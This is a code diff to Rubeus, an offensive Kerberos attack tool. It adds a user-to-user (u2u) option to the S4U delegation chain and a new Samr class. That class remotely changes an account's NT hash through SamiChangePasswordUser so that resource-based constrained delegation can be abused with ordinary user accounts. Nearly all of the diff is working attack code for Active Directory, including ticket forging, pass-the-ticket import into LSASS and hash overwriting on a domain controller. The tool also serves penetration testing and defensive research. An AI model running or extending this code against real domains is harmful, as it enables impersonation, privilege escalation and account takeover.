diff --git a/Rubeus/Commands/Asktgt.cs b/Rubeus/Commands/Asktgt.cs index 7e0f26aa..15787157 100644 --- a/Rubeus/Commands/Asktgt.cs +++ b/Rubeus/Commands/Asktgt.cs @@ -228,9 +228,9 @@ public void Execute(Dictionary arguments) return; } if (String.IsNullOrEmpty(certificate)) - Ask.TGT(user, domain, hash, encType, outfile, ptt, dc, luid, true, opsec, servicekey, changepw, pac, proxyUrl); + Ask.TGT(user, domain, hash, encType, outfile, ptt, dc, luid, true, opsec, servicekey, changepw, false, pac, proxyUrl); else - Ask.TGT(user, domain, certificate, password, encType, outfile, ptt, dc, luid, true, verifyCerts, servicekey, getCredentials, proxyUrl); + Ask.TGT(user, domain, certificate, password, encType, outfile, ptt, dc, luid, true, verifyCerts, servicekey, false, getCredentials, proxyUrl); return; } diff --git a/Rubeus/Commands/S4u.cs b/Rubeus/Commands/S4u.cs index 074094d8..66d3dcf7 100755 --- a/Rubeus/Commands/S4u.cs +++ b/Rubeus/Commands/S4u.cs @@ -28,6 +28,7 @@ public void Execute(Dictionary arguments) bool opsec = false; bool bronzebit = false; bool pac = true; + bool u2u = false; Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; // throwaway placeholder, changed to something valid KRB_CRED tgs = null; string proxyUrl = null; @@ -121,6 +122,12 @@ public void Execute(Dictionary arguments) { pac = false; } + + if (arguments.ContainsKey("/u2u")) + { + u2u = true; + } + if (arguments.ContainsKey("/proxyurl")) { proxyUrl = arguments["/proxyurl"]; @@ -181,13 +188,13 @@ public void Execute(Dictionary arguments) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); - S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, domain, impersonateDomain, proxyUrl, createnetonly, show); + S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, u2u, domain, impersonateDomain, proxyUrl, createnetonly, show); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); - S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, domain, impersonateDomain, proxyUrl, createnetonly, show); + S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, u2u, domain, impersonateDomain, proxyUrl, createnetonly, show); } else { @@ -207,7 +214,7 @@ public void Execute(Dictionary arguments) return; } - S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, pac, proxyUrl, createnetonly, show); + S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, pac, u2u, proxyUrl, createnetonly, show); return; } else diff --git a/Rubeus/Rubeus.csproj b/Rubeus/Rubeus.csproj index e048901e..951c7740 100755 --- a/Rubeus/Rubeus.csproj +++ b/Rubeus/Rubeus.csproj @@ -216,6 +216,7 @@ + diff --git a/Rubeus/lib/Ask.cs b/Rubeus/lib/Ask.cs index 00e47756..dc97ee79 100644 --- a/Rubeus/lib/Ask.cs +++ b/Rubeus/lib/Ask.cs @@ -32,7 +32,7 @@ public KerberosErrorException(string message, KRB_ERROR krbError) public class Ask { - public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool opsec = false, string servicekey = "", bool changepw = false, bool pac = true, string proxyUrl = null) + public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool opsec = false, string servicekey = "", bool changepw = false, bool u2u = false, bool pac = true, string proxyUrl = null) { // send request without Pre-Auth to emulate genuine traffic bool preauth = false; @@ -49,7 +49,7 @@ public class Ask Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString); Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName); AS_REQ userHashASREQ = AS_REQ.NewASReq(userName, domain, keyString, etype, opsec, changepw, pac); - return InnerTGT(userHashASREQ, etype, outfile, ptt, domainController, luid, describe, true, opsec, servicekey, false, proxyUrl); + return InnerTGT(userHashASREQ, etype, outfile, ptt, domainController, luid, describe, true, opsec, servicekey, u2u, false, proxyUrl); } } catch (KerberosErrorException ex) @@ -168,7 +168,7 @@ public static X509Certificate2 FindCertificate(string certificate, string storeP } } - public static byte[] TGT(string userName, string domain, string certFile, string certPass, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verifyCerts = false, string servicekey = "", bool getCredentials = false, string proxyUrl = null) { + public static byte[] TGT(string userName, string domain, string certFile, string certPass, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verifyCerts = false, string servicekey = "", bool u2u = false, bool getCredentials = false, string proxyUrl = null) { try { X509Certificate2 cert = FindCertificate(certFile, certPass); @@ -189,7 +189,7 @@ public static X509Certificate2 FindCertificate(string certificate, string storeP Console.WriteLine("[*] Building AS-REQ (w/ PKINIT preauth) for: '{0}\\{1}'", domain, userName); AS_REQ pkinitASREQ = AS_REQ.NewASReq(userName, domain, cert, agreement, etype, verifyCerts); - return InnerTGT(pkinitASREQ, etype, outfile, ptt, domainController, luid, describe, true, false, servicekey, getCredentials, proxyUrl); + return InnerTGT(pkinitASREQ, etype, outfile, ptt, domainController, luid, describe, true, false, servicekey, u2u, getCredentials, proxyUrl); } catch (KerberosErrorException ex) { KRB_ERROR error = ex.krbError; @@ -230,7 +230,7 @@ public static int GetKeySize(Interop.KERB_ETYPE etype) { } } - public static byte[] InnerTGT(AS_REQ asReq, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verbose = false, bool opsec = false, string serviceKey = "", bool getCredentials = false, string proxyUrl = null) + public static byte[] InnerTGT(AS_REQ asReq, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verbose = false, bool opsec = false, string serviceKey = "", bool u2u = false, bool getCredentials = false, string proxyUrl = null) { if ((ulong)luid != 0) { Console.WriteLine("[*] Target LUID : {0}", (ulong)luid); @@ -283,7 +283,7 @@ public static int GetKeySize(Interop.KERB_ETYPE etype) { Console.WriteLine("[+] TGT request successful!"); } - byte[] kirbiBytes = HandleASREP(responseAsn, etype, asReq.keyString, outfile, ptt, luid, describe, verbose, asReq, serviceKey, getCredentials, dcIP); + byte[] kirbiBytes = HandleASREP(responseAsn, etype, asReq.keyString, outfile, ptt, luid, describe, verbose, asReq, serviceKey, u2u, getCredentials, dcIP); return kirbiBytes; } @@ -599,7 +599,7 @@ public static byte[] TGS(string userName, string domain, Ticket providedTicket, return null; } - private static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, AS_REQ asReq = null, string serviceKey = "", bool getCredentials = false, string dcIP = "") + private static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, AS_REQ asReq = null, string serviceKey = "", bool u2u = false, bool getCredentials = false, string dcIP = "") { // parse the response to an AS-REP AS_REP rep = new AS_REP(responseAsn); @@ -754,6 +754,13 @@ public static byte[] TGS(string userName, string domain, Ticket providedTicket, } } + if (u2u && etype == Interop.KERB_ETYPE.rc4_hmac) + { + // populate TGT session key in case it's an S4U chain with a UPN target + // reference: https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html + Samr.NewHashBytes = encRepPart.key.keyvalue; + } + if (ptt || ((ulong)luid != 0)) { // pass-the-ticket -> import into LSASS diff --git a/Rubeus/lib/Reset.cs b/Rubeus/lib/Reset.cs index bcbef723..255e6e9a 100755 --- a/Rubeus/lib/Reset.cs +++ b/Rubeus/lib/Reset.cs @@ -1,8 +1,8 @@ using System; using System.IO; -using System.Linq; using System.Net; using System.Text; +using System.Security.Principal; using Asn1; namespace Rubeus @@ -198,5 +198,29 @@ public static void UserPassword(KRB_CRED kirbi, string newPassword, string domai } } } + + public static void UserHash(string userName, string hashString, string newHashString = "", string domainController = "") + { + // a wrapper against Samr.SetNTLM + + Console.WriteLine("[*] Action: Set User NT Hash\r\n"); + + string dcIP = Networking.GetDCIP(domainController); + if (String.IsNullOrEmpty(dcIP)) { return; } + + byte[] hashBytes = Helpers.StringToByteArray(hashString); + + byte[] newHashBytes; + if (String.IsNullOrEmpty(newHashString)) + // if the new hash string is not provided in args, that's an S4U chain with a UPN target + newHashBytes = Samr.NewHashBytes; + else + newHashBytes = Helpers.StringToByteArray(newHashString); + + if (Samr.SetNTLM(dcIP, userName, hashBytes, newHashBytes) == 0) + Console.WriteLine("[+] NT hash change success!\r\n"); + else + Console.WriteLine("[X] NT hash change error\r\n"); + } } -} \ No newline at end of file +} diff --git a/Rubeus/lib/S4U.cs b/Rubeus/lib/S4U.cs index a0998116..bc0bbe85 100755 --- a/Rubeus/lib/S4U.cs +++ b/Rubeus/lib/S4U.cs @@ -3,15 +3,14 @@ using System; using System.Net; - namespace Rubeus { public class S4U { - public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "", bool self = false, bool opsec = false, bool bronzebit = false, bool pac = true, string proxyUrl = null, string createnetonly = null, bool show = false) + public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "", bool self = false, bool opsec = false, bool bronzebit = false, bool pac = true, bool u2u = false, string proxyUrl = null, string createnetonly = null, bool show = false) { // first retrieve a TGT for the user - byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, null, false, domainController, new LUID(), false, opsec, "", false, pac, proxyUrl); + byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, null, false, domainController, new LUID(), false, opsec, "", false, u2u, pac, proxyUrl); if (kirbiBytes == null) { @@ -27,9 +26,9 @@ public static void Execute(string userName, string domain, string keyString, Int KRB_CRED kirbi = new KRB_CRED(kirbiBytes); // execute the s4u process - Execute(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, tgs, targetDomainController, targetDomain, self, opsec, bronzebit, keyString, etype, null, null, proxyUrl, createnetonly, show); + Execute(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, tgs, targetDomainController, targetDomain, self, opsec, bronzebit, keyString, etype, u2u, null, null, proxyUrl, createnetonly, show); } - public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "", bool s = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial, string requestDomain = "", string impersonateDomain = "", string proxyUrl = null, string createnetonly = null, bool show = false) + public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "", bool s = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial, bool u2u = false, string requestDomain = "", string impersonateDomain = "", string proxyUrl = null, string createnetonly = null, bool show = false) { Console.WriteLine("[*] Action: S4U\r\n"); @@ -72,13 +71,21 @@ public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN = } else { - self = S4U2Self(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, s, opsec, bronzebit, keyString, encType, proxyUrl, createnetonly, show); + self = S4U2Self(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, s, opsec, bronzebit, keyString, encType, u2u, proxyUrl, createnetonly, show); if (self == null) { Console.WriteLine("[X] S4U2Self failed, unable to perform S4U2Proxy."); return; } } + + if (u2u && encType == Interop.KERB_ETYPE.rc4_hmac) + { + // change user's NT hash to her TGT session key in case it's an S4U chain with a UPN target + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + Reset.UserHash(userName, keyString, domainController: domainController); + } + if (String.IsNullOrEmpty(targetSPN) == false) { S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, self, opsec, proxyUrl, createnetonly, show); @@ -437,7 +444,7 @@ private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSP } } - private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", bool self = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial, string proxyUrl = null, string createnetonly = null, bool show = false) + private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", bool self = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial, bool u2u = false, string proxyUrl = null, string createnetonly = null, bool show = false) { // extract out the info needed for the TGS-REQ/S4U2Self execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; @@ -448,7 +455,16 @@ private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targe Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain); - byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec); + byte[] tgsBytes; + + if (u2u) + { + tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec, false, kirbi, domain, true); + } + else + { + tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec); + } byte[] response = null; diff --git a/Rubeus/lib/Samr.cs b/Rubeus/lib/Samr.cs new file mode 100644 index 00000000..5e1d2426 --- /dev/null +++ b/Rubeus/lib/Samr.cs @@ -0,0 +1,175 @@ +using System; +using System.Runtime.InteropServices; +using System.Security.Permissions; +using System.Security.Principal; + +namespace Rubeus +{ + /// + /// Implements NTLM hashes change via SamrChangePasswordUser (Opnum 38) API call + /// The code is taken from SetNTLM.ps1 by @vletoux: https://github.com/vletoux/NTLMInjector/blob/master/SetNTLM.ps1 + /// The initial purpose of this class is to be used in RBCD attacks using normal user accounts + /// Reference: https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html (by @tiraniddo) + /// + public class Samr + { + public static byte[] NewHashBytes { get; set; } + + [SecurityPermission(SecurityAction.Demand)] + public static int SetNTLM(string server, string userName, byte[] hashBytes, byte[] newHashBytes) + { + IntPtr samHandle = IntPtr.Zero; + IntPtr domainHandle = IntPtr.Zero; + IntPtr userHandle = IntPtr.Zero; + UNICODE_STRING uServer = new UNICODE_STRING(); + int result = 0; + + try + { + uServer.Initialize(server); + + Console.WriteLine("[*] [MS-SAMR] Obtaining handle to domain controller object"); + + result = SamConnect(ref uServer, out samHandle, MAXIMUM_ALLOWED, false); + if (result != 0) + { + Console.WriteLine("[X] [MS-SAMR] SamrConnect error: {0}", result.ToString("x")); + return result; + } + + NTAccount account = new NTAccount(userName); + SecurityIdentifier sid = (SecurityIdentifier)account.Translate(typeof(SecurityIdentifier)); + byte[] sidBytes = new byte[SecurityIdentifier.MaxBinaryLength]; + sid.AccountDomainSid.GetBinaryForm(sidBytes, 0); + + Console.WriteLine("[*] [MS-SAMR] Obtaining handle to domain object"); + + result = SamOpenDomain(samHandle, MAXIMUM_ALLOWED, sidBytes, out domainHandle); + if (result != 0) + { + Console.WriteLine("[X] [MS-SAMR] SamrOpenDomain error: {0}", result.ToString("x")); + return result; + } + + int rid = GetRidFromSid(sid); + + Console.WriteLine("[*] [MS-SAMR] Obtaining handle to user object '{0}' with RID '{1}'", userName, rid); + + result = SamOpenUser(domainHandle, MAXIMUM_ALLOWED, rid, out userHandle); + if (result != 0) + { + Console.WriteLine("[X] [MS-SAMR] SamrOpenUser error: {0}", result.ToString("x")); + return result; + } + + byte[] oldLm = new byte[16]; + byte[] newLm = new byte[16]; + + Console.WriteLine("[*] [MS-SAMR] Changing NT hash of user '{0}' to '{1}'", userName, Helpers.ByteArrayToString(newHashBytes)); + + result = SamiChangePasswordUser(userHandle, false, oldLm, newLm, true, hashBytes, newHashBytes); + if (result != 0) + { + Console.WriteLine("[X] [MS-SAMR] SamiChangePasswordUser error: {0}", result.ToString("x")); + return result; + } + } + finally + { + if (userHandle != IntPtr.Zero) + SamCloseHandle(userHandle); + + if (domainHandle != IntPtr.Zero) + SamCloseHandle(domainHandle); + + if (samHandle != IntPtr.Zero) + SamCloseHandle(samHandle); + + uServer.Dispose(); + } + + return 0; + } + + static int GetRidFromSid(SecurityIdentifier sid) + { + string sidString = sid.Value; + int pos = sidString.LastIndexOf('-'); + string rid = sidString.Substring(pos + 1); + return int.Parse(rid); + } + + const int MAXIMUM_ALLOWED = 0x02000000; + + [StructLayout(LayoutKind.Sequential)] + struct UNICODE_STRING : IDisposable + { + public ushort length; + public ushort maxLength; + private IntPtr buffer; + + [SecurityPermission(SecurityAction.LinkDemand)] + public void Initialize(string s) + { + length = (ushort)(s.Length * 2); + maxLength = (ushort)(length + 2); + buffer = Marshal.StringToHGlobalUni(s); + } + + public void Dispose() + { + if (buffer != IntPtr.Zero) + Marshal.FreeHGlobal(buffer); + + buffer = IntPtr.Zero; + } + + public override string ToString() + { + if (length == 0) + return String.Empty; + + return Marshal.PtrToStringUni(buffer, length / 2); + } + } + + [DllImport("samlib.dll")] + static extern int SamConnect( + ref UNICODE_STRING ServerName, + out IntPtr ServerHandle, + int DesiredAccess, + bool Reserved); + + [DllImport("samlib.dll")] + static extern int SamOpenDomain( + IntPtr ServerHandle, + int DesiredAccess, + byte[] DomainId, + out IntPtr DomainHandle); + + [DllImport("samlib.dll")] + static extern int SamOpenUser( + IntPtr DomainHandle, + int DesiredAccess, + int UserId, + out IntPtr UserHandle); + + // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/9699d8ca-e1a4-433c-a8c3-d7bebeb01476 + [DllImport("samlib.dll")] + static extern int SamiChangePasswordUser( + IntPtr UserHandle, + bool LmPresent, + byte[] OldLmEncryptedWithNewLm, + byte[] NewLmEncryptedWithOldLm, + bool NtPresent, + byte[] OldNtEncryptedWithNewNt, + byte[] NewNtEncryptedWithOldNt); + /* bool NtCrossEncryptionPresent, + * byte[] NewNtEncryptedWithNewLm, + * bool LmCrossEncryptionPresent, + * byte[] NewLmEncryptedWithNewNt); */ + + [DllImport("samlib.dll")] + static extern int SamCloseHandle(IntPtr SamHandle); + } +}